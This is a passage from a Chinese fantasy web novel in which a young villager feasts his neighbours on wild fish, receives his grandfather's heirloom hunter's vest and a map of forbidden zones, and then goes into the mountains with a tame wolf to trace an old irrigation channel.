一股前所未有的、浓郁到化不开的奇异鲜香，霸道地穿透了其他菜肴的香气，瞬间席卷了整个屋子！所有人都不由自主地、狠狠地咽了口唾沫，眼睛瞪得溜圆！这香味层次丰富，带着江河湖海的深邃鲜甜，又蕴含着某种难以言喻的灵韵，是他们从未领略过的极致诱惑！ 莫天扬和陈宏利小心翼翼地端上两个大盆。先上的是那个硕大的鱼头，静静地卧在乳白色、翻滚着浓稠气泡的汤汁里，热气蒸腾，异香扑鼻。紧接着是色泽红亮诱人、酱汁包裹得恰到好处的红烧花鲢段，另一种带着焦糖般醇厚、又融合了鱼肉本真的鲜香紧随其后，弥漫开来。 这两股极致鲜香的合奏，瞬间让桌上那原本令人垂涎的黄羊肉和野兔肉黯然失色！所有人的目光都被牢牢钉在那两盆鱼鲜上，喉结滚动，筷子仿佛有了自己的意识，蠢蠢欲动。 “来来来，都别愣着了，趁热尝尝！”莫天扬笑着给大家斟满酒。 他刚坐下，早已按捺不住的胡标第一个伸出筷子，稳稳夹起一大块覆盖着胶质、颤巍巍的鱼脸肉，迫不及待地送入口中。 下一秒，胡标整个人都僵住了！他猛地闭上眼睛，脸上肌肉微微抽动，仿佛在承受某种巨大的味觉冲击。 过了好几秒，他才长长地、满足地“呼”出一口气，睁开眼，里面满是难以置信的光芒：“香！太他娘的香了！活了六十多年，头一回吃到这么……这么……没法形容的鱼头！嫩！滑！鲜！一点腥气都没有！舌头都快化掉了！” 其他人见状，哪里还忍得住？纷纷下箸。一时间，桌上只剩下筷子碰撞声和此起彼伏的、带着惊叹的咀嚼吞咽声。 连见多识广的老厨师莫啸，在细细品了一口鱼汤后，也深深吸了口气，浑浊的老眼中精光闪动，语气笃定：“这花鲢……错不了！绝对是喝山泉水长大的野货！这味道……我都有二十多年没尝到过了！天扬，你这鱼……神了！ “爷爷，这鱼就是县里朋友送的纯野生花鲢。”莫天扬笑着解释了一句。 随即，他的目光变得深邃起来，仿佛穿透了院墙，投向远处云雾缭绕的青木山脉深处。他缓缓开口，声音带着一种试探和决心：“爷爷，您不是常念叨，说青木山里头，早年也有这么大的野生花鲢、大鲫鱼，味道比这个还地道？” 此言一出，原本沉浸在鱼肉鲜美中的众人，如同被按下了暂停键，筷子悬在半空，目光齐刷刷聚焦在莫天扬脸上。屋子里瞬间安静下来，进青木山？这个念头像一颗石子投入平静的湖面，在每个人心中激起了巨大的涟漪！ 近二十多年了！青木山深处早已成了村民口中讳莫如深的禁地。别说核心区域，就是外围的山脚林缘，也极少有人敢踏足。那里面，不仅仅是传说中凶悍的青狼，更有无数未知的危险！ “天扬！”陈峰第一个回过神，声音带着急切和担忧，“那山里……那可是青狼的老巢啊！这些年多少胆大的进去都没出来！你……” 一直沉默细品鱼汤的莫啸，此时也抬起头，浑浊的老眼瞬间变得锐利如鹰，紧紧盯着自己的孙子：“怎么？你小子……动了进山的心思？”他的语气听不出喜怒，却带着一种沉甸甸的分量。 莫天迎迎着爷爷审视的目光，坚定地点了点头：“以前没这念头，也不敢。但现在……”他目光转向门口。 正趴在那里，津津有味啃着大骨头的青狼大青，仿佛心有灵犀般，猛地抬起头！它丢下骨头，矫健地起身，几步就蹿到莫天扬身边，喉咙里发出低沉却充满力量感的呜噜声，硕大的头颅亲昵地蹭了蹭莫天扬的腿。那双幽绿的狼眼扫过众人，最后定定地看着莫啸，仿佛在无声地宣告：有我在，他无恙！ “大家也都看到了，”莫天扬抬手，安抚地拍了拍大青厚实温热的脊背，“大青它……似乎能和山里的狼群沟通，甚至能影响它们。有它在身边，我觉得……可以进去看看。”他的声音不高，却透着一股不容置疑的信心。 莫啸、陈峰、胡标等人看着人狼之间那奇异的信任与默契，又回想起大青在山林中的威势和它对狼群那若有若无的“号令”感，心中的惊疑渐渐被一种难以置信的可能性所取代。青木山外围，确实是青狼活动最频繁的区域。若有这头通灵、且明显护着莫天扬的巨狼同行……或许，真的有一线生机？ 屋子里陷入一片沉思的寂静。良久，莫啸才缓缓放下筷子，布满皱纹的脸上神色复杂，他深深看了莫天扬一眼，又看了看他身边如同守护神般的大青，最终，像是下定了某种决心。 “天扬，”莫啸的声音低沉而严肃，“进山……不是儿戏。就算有大青在，也得准备万全，容不得半点马虎！”他顿了顿，夹起一块鲜嫩的鱼肉，目光却始终没有离开莫天扬，“下午……到我屋里来一趟。有些话，有些事，得好好跟你说道说道。” 第四十二章猎人坎肩 下午，陈宏利忙着给人们拍照，莫天扬则去了爷爷的屋子。一进屋，他不由得一愣：爷爷躺在炕上，电视却关着——这似乎是买回电视以来的第一次。 “爷爷，怎么没看电视？”莫天扬问道。 莫啸坐起身，从背后拿出一个颜色泛黑、书包大小的兽皮囊，放在炕沿边。 “我老了，这东西用不上了，你拿去。” 看到那个黑乎乎的兽皮囊，莫天扬瞳孔微缩。他知道这东西，爷爷早年每次进山都带着它。虽然他也跟爷爷进过山，却从未见爷爷用过，更不知里面装的是什么。 “爷爷，这……”莫天扬有些迟疑。 莫啸脸上皱纹舒展，淡淡一笑：“你小时候不是总想知道里面是什么？打开看看。” 莫天扬挠挠头。儿时的确对这兽皮囊充满好奇，可每次刚想碰，总被爷爷逮个正着，少不了一顿教训。后来学业渐重，也就淡忘了，连它放在哪儿都不知道。 伸手拿起兽皮囊，莫天扬心头一震——分量不轻。他端详着，上面打着儿时爷爷常教他编的那种古老结绳纽扣。 麻利地解开纽扣，展开兽皮囊，莫天扬瞪大了眼睛：它竟变成了一件作战服似的坎肩，中间还连着一条一尺来宽的皮带。皮带上嵌着环扣、袋子，个个鼓鼓囊囊，其中赫然露出两把刀柄。 “爷爷，这是？”莫天扬惊讶道。 莫啸深吸口气，目光扫了眼门外：“这是祖辈传下来的猎人进山装备，如今已见不到了。你先穿上。” 莫天扬点头，拿起这件由不知名兽皮缝制、折叠后形似书包的装备。手指触感温凉，他心中一动。在爷爷指点下穿好兽皮坎肩，一股凉意瞬间透来，上身燥热顿消，令他暗自惊奇。 见孙子已扎紧皮带，莫啸浑浊的眼眸变得清亮：“天扬，这坎肩据说是蛟皮所制，轻薄却能抵御猛兽利爪。切记，不到万不得已，莫让外人知晓。对曹勇、胡标他们或许不算什么，但莫老三那种人，见了必起歹心。” 经历近日种种，莫天扬深知怀璧其罪的道理。“爷爷，我明白。”说着便想脱下坎肩。 “急什么？”莫啸带着责备，神色严肃起来，“关键时候它能救命，你不先熟悉怎么行？” “这……还要熟悉？”莫天扬有些意外。 “当然！这坎肩上有九个活扣，每个扣法不同，用途各异。还有六个口袋、四个皮袋、三把刀、一条软金索。不熟悉，遇上危险你怎么应对？” 听着爷爷的责备，莫天扬脸上微赧，心头却暖意融融——爷爷的严厉里，尽是疼惜。 他仔细摸索：九个活扣，每个连着粗细不一的金属丝；六个口袋空空如也；皮带上的四个皮袋鼓鼓囊囊；一条筷子粗细的金属索……只是刀，只看见两把。 “爷爷，怎么只有两把刀？”他问道。 莫啸瞪他一眼：“你哪里不还有一把么？” 莫天扬嘿嘿一笑。莫啸无奈摇头：“来，我教你这些活扣的用法……” 整整一个多小时，莫天扬才将这件看似普通的猎人坎肩的各项功能摸索熟悉。此刻，他已无心纠结它是否真是传说中的蛟龙皮所制，心中只剩下惊叹——这坎肩简直就是一个微缩的野外求生宝库！ 拿着折叠好的兽皮囊回到自己屋里，莫天扬将它锁进柜子。虽然有大青看家，他心底仍隐隐觉得不够稳妥。 陡然间，一个念头闪过他的脑海——自己体内那方灵泉空间！若能在水域上放置一个皮筏或木排，岂不是就能把东西存进空间？甚至，如果平台够大，以后还能在上面休息、培育秧苗…… 想到此，莫天扬心头一阵激动。他立刻掏出那部掉漆的手机，开始上网查询。几分钟后，他拨通了张学涛的电话。 还没等他开口，张学涛激动的声音就传了过来，连珠炮似的：“天扬！好兄弟！还能不能再弄点那种莲藕？那味道，简直绝了！今天吃过的人没一个不夸的！” 莫天扬心中一动。他料想莲藕味道不差，但能让张学涛如此兴奋，看来其口感足以媲美之前的黄豆芽、胡萝卜甚至那些鱼。 “暂时没了。不过这几天我打算进趟山看看。” “那就拜托你了！你是没看见今天那几位朋友尝过后的样子，直呼这是这辈子吃过最绝的莲藕！” “行，我尽量多带点回来。” “越多越好！一斤我给你二十块！”张学涛毫不犹豫地报价。 这个数字让莫天扬倒抽一口冷气。要知道市场上的普通莲藕才一两块钱一斤，这价格…… “到时候看情况吧。对了涛哥，还有件事，能不能帮我弄台电脑？” “行啊，没问题！不过……你们村通网线了吗？”张学涛忽然想到关键问题。 莫天扬一愣，随即苦笑。村子太穷，年轻人一年都回不来几趟，哪来的网线？这也是他回来之后很少用手机上网的原因。 “没有。那怎么办？” “你们那边手机信号总有吧？不然咱俩现在咋通话？”张学涛反问。 “哦，对！”莫天扬反应过来。 “那就好办。我给你找人弄个无线上网卡，交点月租就行。就凭你现在的收入，这点钱不算啥。” “那太谢谢了！还有，我院子那池塘，能不能帮我找些厚实的泡沫板之类的东西？” “明白了！包在我身上，明天就让凌飞一起给你捎过去！”电话那头张学涛拍胸脯保证道。 挂断电话，莫天扬长舒一口气。他走出院子，来到厨房。这边，众人已开始张罗晚饭。 “天扬，中午的黄羊肉、兔肉还剩不少，晚上热热就行。这儿有我们呢，不用操心。”陈峰见了他，连忙说道。 “峰叔，大伙儿的照片都照好了？” “都照了！宏利已经传给凌飞，明天就能拿回来。” “峰叔，那几条淡水鲈呢？”莫天扬问道。 陈峰几人闻言一愣：“天扬，你这是要……？” “中午大伙儿都说花鲢好吃，晚上咱们再尝尝这淡水鲈。” 陈峰几人连忙摆手：“天扬，这可使不得！大伙儿帮你又不是图这口吃的。中午吃得那么饱，晚上随便对付两口就成。” 莫天扬淡淡一笑：“峰叔，您这话说的。我可不是那抠搜的地主老财。当初我落难，是您们伸手拉了我一把。如今日子缓过来了，我总得报答这份情。豆芽产量能上去，也是靠大家伙出力。吃点好的，算不得什么。” 陈峰等人听了，目光复杂，心中叹息。当初不过搭了把手，没成想这孩子记在心里…… “天扬，那……弄几条？”陈峰迟疑地问。 “两条吧，剩下的明天再吃。” 晚上，众人齐聚在临时搭起的餐厅里。当清蒸鲈鱼端上桌时，那股独特的鲜香瞬间弥漫开来，满座都下意识深吸了一口气。这香气与中午的花鲢一样诱人，甚至更添几分清雅，勾得人食指大动。 几乎是不约而同地，一双双筷子齐齐伸向了那盘鲈鱼。鱼肉入口，鲜嫩无比，几乎在舌尖化开，没有一丝河鲜常有的土腥味，反倒萦绕着一股难以言喻的、清甜怡人的独特香气。 “莫叔，这鲈鱼味道如何？”有人笑着问上座的莫老爷子。 老爷子细细品着，脸上露出满足的笑容：“好，好得很！看来往后，我这老头子是有口福咯！” 第四十三章安排 翌日，因陈峰、曹勇等人会提前过来帮忙，加上还有二十多只小青狼需要照料，莫天扬天未亮便起了床。他带着大青、小白和一群嗷嗷待哺的小青狼进入了灵泉空间。 从空间出来，莫天扬用肉末拌奶粉喂饱了小青狼，安顿好它们，便匆匆赶往山鸡和野兔的饲养区。 这段时间下来，成年山鸡数量稳定，但新孵化的小山鸡已有二百多只，小野兔也接近百只。看着争抢菜叶、小米和玉米粒的鸡兔群，莫天扬眼中满是期待。不同于牛羊，鸡兔繁衍极快，今年几百只，明年破千并非难事。 忽然，他心头一动：山鸡野兔属保护动物，小规模养殖难上餐桌。可自己院内外有七十多亩菜地，加上近二亩的池塘……若能养些普通鸡鸭，借助灵泉空间之力，或许入冬就能尝鲜！ 新想法让他精神一振。他立刻在院子里转悠，想物色一处合适的鸡鸭养殖地…… “呜……”大青的低吼声传来。是陈峰他们到了。莫天扬正好想听听他们的意见。 “峰叔，”他迎上去道，“咱家有池塘，院内外菜地七十多亩。我琢磨着，养些鸡鸭怎么样？” 陈峰、曹勇、胡标几人相视一眼，突然都哈哈大笑起来，笑得莫天扬有些摸不着头脑。 见莫天扬发懵，陈峰止住笑，深吸口气：“天扬啊，不瞒你说，前些天我们也琢磨过这事！听宏利讲，现在的土鸡土鸭蛋价钱不赖，活鸡活鸭更贵。就你这规模，养上几百只鸡鸭绝对没问题，算下来也是一笔不小的进项！” “我刚才在院里转了转，养是能养，可该圈在哪儿呢？”莫天扬问出关键。 “外头菜地不都用铁丝网围好了？就在铁丝网边上，搭些板子做鸡舍鸭棚，省事又方便！”陈峰干脆地答道。 莫天扬眼睛一亮，一拍大腿：“还得是您们有经验！我这脑子就没想到。等会儿让宏利跟凌哥去趟县里，把鸡鸭苗买回来！” 正说着，凌飞的车到了。众人七手八脚卸下三个橡皮筏和二十多张厚泡沫板，接着又开始搬运豆芽。 送走凌飞，曹勇他们去了菜地。莫天扬则搬了两块泡沫板回到自己屋里，关好门，心念一动便带着泡沫进入了灵泉空间。 将两块泡沫板拼接在一起，他盘腿坐下，望着眼前静谧的蓝色水域。忽然，一个现实问题浮上心头：平日空间平静无波，泡沫上放东西自然安稳。可一旦有新物种进入，空间便可能风云突变，甚至巨浪滔天……那时，泡沫板上的东西岂不…… 越想越头疼，一时也找不出解决之道。莫天扬只得先离开空间，穿上那件祖传的兽皮坎肩，专注地练习起那些繁复的活扣和口袋的用法来。 莫天扬刚从屋里出来，一群毛茸茸的小家伙便从菜地里连滚带爬地冲了出来，跌跌撞撞地直奔向他。 看着这群撒欢的小青狼，莫天扬心头一动：自己明天要进山，豆芽生产有峰叔他们，可这些小狼崽怎么办？它们至今仍是“生人勿近”的状态。 正思忖着，一道身影从菜地走了出来。莫天扬眼睛一亮：“宏利，回来了！” “嗯，鸡鸭鹅苗订好了，各三百只，一共六百只。算上运费一万六，过两天就送来。便宜的木板也订了，今天就能到。”陈宏利利落地汇报。 “行，你过来，正好有事。” 陈宏利走到离莫天扬七八米的地方，瞥了眼他身边威风凛凛的大青，停下脚步：“啥事？” “我明天进山。大青跟我走，可这些小崽子得有人照看。思来想去，也就你能接手了。” 陈宏利连忙摆手：“天扬，饶了我吧！我过去？大青不得把我撕了？” 莫天扬轻笑，抬手安抚地拍了拍大青的头：“忘了？我进山会带着大青。大青，交代一下，这几天让宏利喂它们。” 大青低吼一声，威严的目光扫向小狼崽们。小家伙们一愣，看看陈宏利，又委屈巴巴地望向莫天扬。 莫天扬哈哈一笑，挨个揉了揉它们的小脑袋：“乖，宏利只是临时照顾你们几天，等我回来，还是我喂。” 让陈宏利惊异的是，小狼崽们听了这话，竟一个个点着小脑袋，随即冲着他龇了龇还没长齐的小牙，发出奶凶奶凶的低呜，逗得陈宏利忍不住笑出声。 “那小白呢？” “小白还小，就留家里。下午你先喂它们，我看着。” “成！那我先去帮勇叔他们放橡皮筏。”陈宏利应道。 莫天扬忽然想起：“记得穿救生衣！” 下午，莫天扬让陈宏利尝试喂食。小狼崽们虽仍显抵触，对着陈宏利龇牙咧嘴，但终究抵不住掺了肉沫的奶水诱惑，争抢着吃起来。莫天扬心头稍安——至少进山这几天，它们饿不着了。以后自己有事，陈宏利也能顶上。 正看着陈宏利喂狼崽，一个陌生号码打了进来。 “哪位？” “是莫天扬先生吗？张总派我来送电脑，顺便给您安装调试。”电话那头说道。 莫天扬心中了然。早上凌飞来时，他还问起电脑的事，凌飞说张学涛担心他这边不会弄，会专门派人过来。没想到这么快。 一辆商务车停在院门口。不远处菜地边，两个青年正举着手机，对着长势喜人的蔬菜啧啧赞叹，拍个不停。 莫天扬走出院子，大青警觉地发出低沉喉音。那两人瞬间回神，目光触及莫天扬身边的大青、小白以及那一群毛茸茸的小狼崽，脸色“唰”地变了。 “别紧张，我是莫天扬。”他开口安抚。 两人深吸一口气，其中一个青年指着大青，声音有点发颤：“这……这就是网上传的那只青狼吧？” 见莫天扬点头，他更紧张了：“它……它不会伤人吧？” 这时，一位路过的村民正好过来看菜，闻言笑道：“有天扬在，大青稳当着呢！不过啊，你们最好别靠太近。这家伙可是正经八本从深山下来的野物，除了天扬，谁的面子都不给！” 两人闻言，心头略松，可目光扫过大青时，眼底仍藏着一丝难以驱散的惊恐。 “那……我们先搬东西吧。”其中一个青年定了定神，说道。 一张电脑桌，一台配置顶级的电脑主机和显示器，在专业人士手中，不过十几分钟就组装调试完毕。 看着工作人员熟练操作，再看看自己这间简陋的屋子，崭新的电脑显得格外扎眼。莫天扬心里默默盘算着，看来这屋子也得拾掇拾掇了。 电脑顺利启动，进入系统界面。一个青年转头对莫天扬说：“哥，都装好了，您试试？” “安装费多少钱？”莫天扬问。 “张总那边都结清了。”青年摆摆手，随即又好奇地看向窗外，“对了，哥，外面那老大一片菜地也是您的吧？长得真叫一个精神！在咱们这儿，就是大棚里的菜，也未必能比得上您这长势！” “那还用说，”另一个青年接口道，“肯定是好种子，下本钱了吧？” 陈宏利正好走进来，闻言哈哈一笑：“你们可猜错啦！我们这菜，除了农家肥啥都没用，纯天然，无公害！” 两人都愣住了，齐齐看向莫天扬求证。莫天扬淡淡一笑，点头道：“宏利说得对。咱这地方荒漠化严重还缺水，种地的人少，农家肥便宜又好找，所以用得足，其实没花什么本钱。” “厉害！”两人由衷地竖起大拇指，“哥，真叫人佩服！青木村这地方，别人躲都来不及，您敢回来种地不说，还种得这么好！我看那黄瓜、茄子、豆角都快能摘了，啥时候开园？到时候我们一定来捧场！” 莫天扬爽朗一笑：“路不好走，你们来回折腾太麻烦。到时候去涛哥那儿就行，他是我这儿的全权代理，货都供他那儿。” 第四十四章大青的异常 “我们能不能拍一拍你的院子和外面？” 莫天扬哈哈一笑，“这又不是什么见不得光的东西，随便拍，别招惹青狼就行。” 两个小青年兴冲冲地去院子拍摄。陈宏利看向莫天扬，有些担忧，“天扬，他们会不会……” 莫天扬深吸口气，“宏利，小青狼过来这事儿，别说十里八乡，县里怕也有不少人知道了。过几天黄瓜、茄子这些都要开园，到时候想瞒也瞒不住，随他们去吧，就当给咱们提前打个广告。” 这天夜里，送走众人，莫天扬返回时微微一愣——爷爷莫啸正站在屋前等着他。 “爷爷，您这是？” “你进来，还有话跟你说。” 跟着爷爷进屋，只见莫啸从柜子底下摸索出一个积满灰尘的破布包袱。莫天扬心头一动。 “爷爷，这是？” 莫啸没说话，拍掉包袱上的灰，解开。里面是一个用油纸包裹严实的小包。莫天扬的好奇心更盛了。 剥开两层油纸，露出一张颜色泛黑的兽皮地图。莫天扬眼中闪过一丝疑惑，随即想到明天自己要进山，爷爷拿出来的东西，恐怕与此有关。 莫啸将兽皮地图摊开。莫天扬目光一凝：那地图古老异常，线条勾勒出连绵的山脉，地名寥寥无几，却点缀着许多颜色各异的标识。 莫啸抬头看向孙子，深吸一口气：“这是青木山脉的老地图。你过来，我告诉你哪些地方能去，哪些地方……千万不能碰。” 十几分钟后，莫啸指着地图上几处刺目的红色区域，语气凝重：“记住！如果你走到某处，感觉空气突然变得无比清新，草木骤然繁茂，物种多得不寻常……那种地方，绝对不要进去！有多远，躲多远！” 莫天扬心头猛地一紧：“爷爷，那些地方……” “那些地方有更凶的东西，凶得很！就算你带着大青，进去也是九死一生。地图上标红的区域，就是死地！一定要把我的话刻在骨子里！”爷爷反复强调，字字千钧。 莫天扬重重点头，手心微微发汗：“爷爷，我记住了。” “把地图带上，早点歇着吧。” 揣着地图回到自己屋子，莫天扬心情沉甸甸的。从小与爷爷相依为命，他深知爷爷的脾性。爷爷如此郑重其事，甚至带着一丝不易察觉的恐惧，这青木山脉深处，绝非他想象的那么简单。 一夜无话。 天还未亮透，莫天扬便起身准备。他带着大青、小白和小青狼进入神秘的灵泉空间。出来时，水壶里已灌满了清冽的灵泉水。他又去厨房，仔细地为小青狼剁肉沫、冲奶粉。 喂饱了小家伙，莫天扬拍了拍已有五六十公分高的小白，“小白，家里就交给你了，看好家。” 小白依恋地蹭着他的腿，呜呜低鸣了几声。这无声的依赖让莫天扬喉头一哽，心中柔软又酸涩。 回屋提起褪了色的旧背包——里面塞满了干粮和必需品，再抓起那根磨得油亮的木棍，招呼大青：“大青，走了。” 一人一犬穿过寂静的菜地。大青忽然警觉地停下，冲着不远处低吼起来。莫天扬心头一凛，循声望去，只见几双磷火似的幽蓝眼睛在朦胧晨光中闪烁。 他脚步微顿。就在这时，四头健硕的青狼悄然现身，来到他身边。它们虽不如大青那般亲近，但望向莫天扬的眼神中，已全然褪去了野兽的凶戾。 看到青狼们没有敌意，莫天扬心头微动，试探着伸出手，轻轻触碰离他最近的那头青狼。青狼的身体明显绷紧了一下，下意识地想要躲闪，但仅仅是一瞬间的犹豫，它便停住了，任由莫天扬宽厚的手掌落在它粗硬的背毛上。 这一变化让莫天扬悬着的心彻底放了下来。他带着笑意，又抬手依次拍了拍另外几只青狼。它们反应如出一辙：先是本能地警惕后缩，随即又安静下来，默许了这带着善意的接触。 莫天扬蹲下身，摊开双手。心念流转间，清澈甘冽的灵泉水便从他掌心悄然渗出。几头青狼似乎早已明了其意，立刻低下头，温顺地轮流舔舐着他掌心的泉水。令莫天扬惊奇的是，每一头青狼都极有分寸，只舔舐几口便主动退开，将位置让给同伴。 几分钟后，所有青狼都饮下了灵泉水。它们再次抬起头望向莫天扬时，眼神中的戒备已荡然无存，取而代之的是一种近乎温顺的柔和光泽。 这奇妙的一幕让莫天扬心情大好。他起身，指向远处云雾缭绕的青木山脉深处：“走！” 初春的青木山脚下，大片红柳、骆驼刺和胡杨林顽强地生长着。寒意尚未完全退去，只有不足三分之一的枝条怯生生地冒出些许绿芽，使得整片区域依然显得荒凉而沉寂。 莫天扬带着大青和四头青狼穿行其间，惊起了无数栖息在树丛和枯草间的山鸡、野兔。一时间，扑棱棱的振翅声和窸窸窣窣的奔逃声不绝于耳。而身边的大青、青狼瞬间化身成猎手冲向山鸡、野兔。 待他们穿过这片一直延伸到山脚的红柳骆驼刺混生林时，莫天扬手上已经多了六只肥硕的山鸡和三只沉甸甸的野兔。 看着手里的“战利品”，莫天扬不由得苦笑摇头。他本是打算深入青木山一探究竟的，这倒好，刚进山门就收获满满。 回头望了望来路，此刻折返送猎物回去，来回至少得耽搁一个多小时。可带着这些血淋淋的野味进山，不仅累赘，血腥气还可能引来不必要的麻烦。 他心头一动，有了主意。心念微转间，那些山鸡野兔便凭空消失，被转移到了灵泉空间里的泡沫板上。同时，那件古朴的猎人坎肩出现在他手中。 他迅速脱下外套，将那件散发着陈旧气息的坎肩穿在身上。接着，又将随身携带的褪色大背包也送进了灵泉空间。做完这一切，他感觉浑身轻松了不少，再次挥手招呼伙伴：“走！” 然而，他下意识转头时，却看到了令他心头一紧的画面：大青和四头青狼并没有跟上，反而都定定地站在原地，瞪大了眼睛死死盯着他——确切地说，是盯着他身上的那件坎肩！ 它们的瞳孔急剧收缩，身体微微后倾，喉咙里发出压抑的呜咽。莫天扬清晰地从它们眼中读出了强烈的恐惧，甚至……一丝源自本能的敬畏！ “大青？”莫天扬惊讶地呼唤。 大青冲着他发出几声急促而低沉的“呜呜”，声音里充满了不安。莫天扬对大青的叫声已颇为熟悉，此刻能明确感受到它们因这件坎肩而对自己产生了巨大的恐惧。 难道……？ 就在穿上坎肩之前，大青它们还安然地跟在自己身边。仅仅是换上这件衣服，它们就…… 难道爷爷说的竟是真的？这件坎肩，真是传说中的“蛟皮”所制？ 莫天扬快速思索着。按书本知识，古人所谓的“蛟”，很可能是指某种巨蟒。但即使是巨蟒，也绝非普通青狼所能轻易抗衡的存在。若这坎肩真是巨蟒的皮缝制，上面残留的气息足以震慑这些感知敏锐的猛兽，倒也说得通。 若是两个月前，莫天扬绝不会相信什么“蛟皮”之说。但自从拥有灵泉空间，他早已明白，这世上确有许多超乎常人想象的事物。 “大青，别怕，没事的。”莫天扬放缓声音，尽量让自己显得平和无害，“只是一件旧坎肩而已，过来吧。” 他站在原地，耐心地等待。大青和青狼们依旧低呜着，显得焦躁不安。它们小心翼翼地、一点点地重新靠近莫天扬，每一步都带着试探。空气中弥漫着一种无形的紧张。足足过了十多分钟，大青才似乎勉强适应了那坎肩带来的压迫感，对着莫天扬低吼了一声，眼中的恐惧终于渐渐散去，恢复了之前那种熟悉而信任的眼神。 第四十五章石渠 继续前行，随着深入青木山脉，成活的胡杨、红柳和骆驼刺愈发茂密，虬结的枝条几乎将进山的小路彻底封死。 莫天扬对此并不在意。他此行还有一个重要的目的：按照胡标提供的线索，寻找当年生产队时期修建的引水渠道。 好在大青和青狼们熟悉山势，带着他在盘根错节的枝桠间灵活穿行。饶是如此，他原本就有些破旧的衣衫，也不知何时被划开了更多口子。 就在莫天扬拨开一丛挡路的红柳时，眼前豁然开朗！他忍不住发出一声低低的惊呼——一条几乎寸草不生的“空白”地带，如同一条蜿蜒的黑色绶带，清晰地镶嵌在浓密的植被之中，直通大山深处！ 他快步上前，深吸一口气。这正是一条用岩石精心砌筑的引水渠！渠道两侧，胡杨、红柳、骆驼刺如两道密不透风的绿墙，而渠道本身则被厚厚的青苔覆盖，湿滑的岩石缝隙里，偶尔顽强地钻出一两株骆驼刺的嫩苗。 “找到了！”莫天扬的手指抚过冰凉湿滑、长满青苔的渠壁，眼中除了激动，更多的是难以言喻的惊叹。这条石渠宽约一米，深达七八十公分，每一块岩石都承载着岁月的重量。在那个全靠人拉肩扛的年代，完成如此浩大的工程，其艰辛程度远非今人所能想象！ 他抬眼望去，石渠在葱茏的山色中倔强地向上延伸。渠壁上的青苔吸饱了水汽，呈现出深沉的墨绿色，明显比周围干燥的岩石颜色更深——这意味着石渠内部或底部，很可能仍有水流浸润！ 莫天扬精神一振，立刻沿着石渠溯源而上。越往里走，空气果然愈发湿润。得益于水汽的滋养，石渠两侧的胡杨和红柳格外葱郁，几乎没有枯萎的迹象，树下更是铺满了厚厚一层生机勃勃的绿草。 山势渐陡，石渠的走势也随之变化。莫天扬惊喜地发现，渠底开始出现了星星点点的湿润水渍！两侧的胡杨和红柳愈发高大粗壮，只是数量逐渐稀少。同时，他也注意到，石渠的砌筑工艺似乎变得粗糙了些，仿佛后期赶工。 当他再次转过一个陡峭的山坳时，脚步猛地顿住，眼前的景象让他屏住了呼吸！ 前方的石渠不再是人工砌筑的规整沟槽，而是直接利用天然的巨大岩石开凿而成！两侧遮天蔽日的胡杨和红柳，已长成了需要几人合抱的参天古木！山坡上，骆驼刺铺天盖地，无数细小的花朵竞相绽放，浓郁的甜香弥漫在清冷的空气中，沁人心脾。 古木参天，视野骤然开阔。莫天扬的目光越过那些开凿着沟槽的巨石，投向更深处——他看到了！大片大片湿漉漉的地面反射着天光，一些低洼处甚至积起了小小的水坑，丝丝缕缕的寒气正从水面氤氲升起！ 莫天扬深深吸了一口带着花香的冷冽空气，心头翻涌起难以言喻的激动。他终于找到了！那渗入地下的、滋养着这条古老石渠的源头——丰沛的冰雪融水！看着地上蜿蜒的水渍和那一个个寒气弥漫的水坑，一个念头强烈地冲击着他：若当年这引水工程能最终完成，今日的青木村，或许早已是绿洲环绕、沃野千里的另一番光景了！ 终于亲眼见到了水流！虽然只是细流蜿蜒，莫天扬的心却已稳稳落地——这正印证了胡标勘测资料上的推断！这条通往山外的古老山谷，分布着多处冰雪融水的汇聚点。只要能将它们巧妙疏导、聚合，一条水量可观的溪流便指日可待！ 他立刻掏出胡标给的图纸，用笔在上面郑重地标记下此刻的位置。目光扫过图纸上标注的其他潜在水源点，他深吸一口气，望向山脉更深处。 穿过这片水坑散布的区域，空气陡然变得清凉湿润。眼前的景象也焕然一新：苍翠的松柏与茂密的灌木丛取代了单调的胡杨红柳，参天古木的枝叶在头顶交错，各色山花点缀林间。莫天扬不由得深深吐出一口浊气，这才是他魂牵梦萦的青木山深处的生机！ “嗷——呜！”大青突然发出一声穿透林间的长啸！ 几乎是同时，七八头壮硕的野猪惊慌失措地从茂密的草丛中窜出，如同几颗滚动的焦褐色巨石，仓惶地撞向山林深处！跟随的几头青狼瞬间化作离弦之箭，肌肉贲张，闪电般追袭而去！ “大青！叫它们回来！”莫天扬立刻喝止。 大青一声威严的低吼，追袭的青狼们立刻刹住脚步，虽有不甘，还是顺从地调头返回。莫天扬指向一条植被相对稀疏的路径，“走这边。” 在大青的指挥下，几头青狼率先开路。莫天扬紧随其后，有大青贴身守护，在这片相对安全的区域，他无需过多担忧安危，得以放慢脚步，细细观察这片丰饶的山林。 经过一片陡峭的岩壁时，莫天扬的目光猛地被崖壁土层上的一株植物锁住！它约莫成人胳膊粗细，虬劲的枝干顽强地扎根在石缝间。 “黄芪！”莫天扬心头一跳，脸上难掩喜色。野生黄芪本就稀少，而眼前这株，从它粗壮虬结的枝干和沧桑的树皮判断，其年份恐怕不下五十年！爷爷当年辨识草药的教导，此刻清晰地浮现在脑海。 他快步上前，强抑激动，用手中那根油亮的木棍，小心翼翼地捅了捅黄芪根部下方那块早已松动的土块。 “哗啦——” 土块应声而落，带起一片尘雾。随即，一条长达十多米、足有成人胳膊粗细的暗黄色根茎，如同沉睡的巨龙，轰然坠地！ 看着这堪称巨物的黄芪根，莫天扬简直不敢相信自己的眼睛，忍不住低呼出声。虽不清楚具体市价，但他深知，这样年份的野生黄芪，绝对是一笔惊人的财富！更让他心头发热的是，村里那些帮过他的老人，若能得些切片配上枸杞泡水，正是补气养身的良品。 他将这沉甸甸的“宝贝”小心地盘卷起来——十米多长、胳膊粗细，卷起来也是好大一捆——心念一动，便将其送入了灵泉空间。收起黄芪，他目光灼灼地再次扫视四周。既然在如此显眼处都能发现五十年的黄芪，这生机勃勃的山林深处，是否还藏着其他年份更久的珍稀药材？ 先前注意力全在石渠上，未曾细看两侧山林。此刻凝神搜寻，果然发现林间疏影之下，点缀着不少形态各异的药草，其中一些，单看茎叶形态和粗壮程度，年份也绝然不短。 不过，对于那些虽知是药材却不明具体功效的，莫天扬并未贸然挖掘。他此行的首要目标，依旧是探明石渠水源。 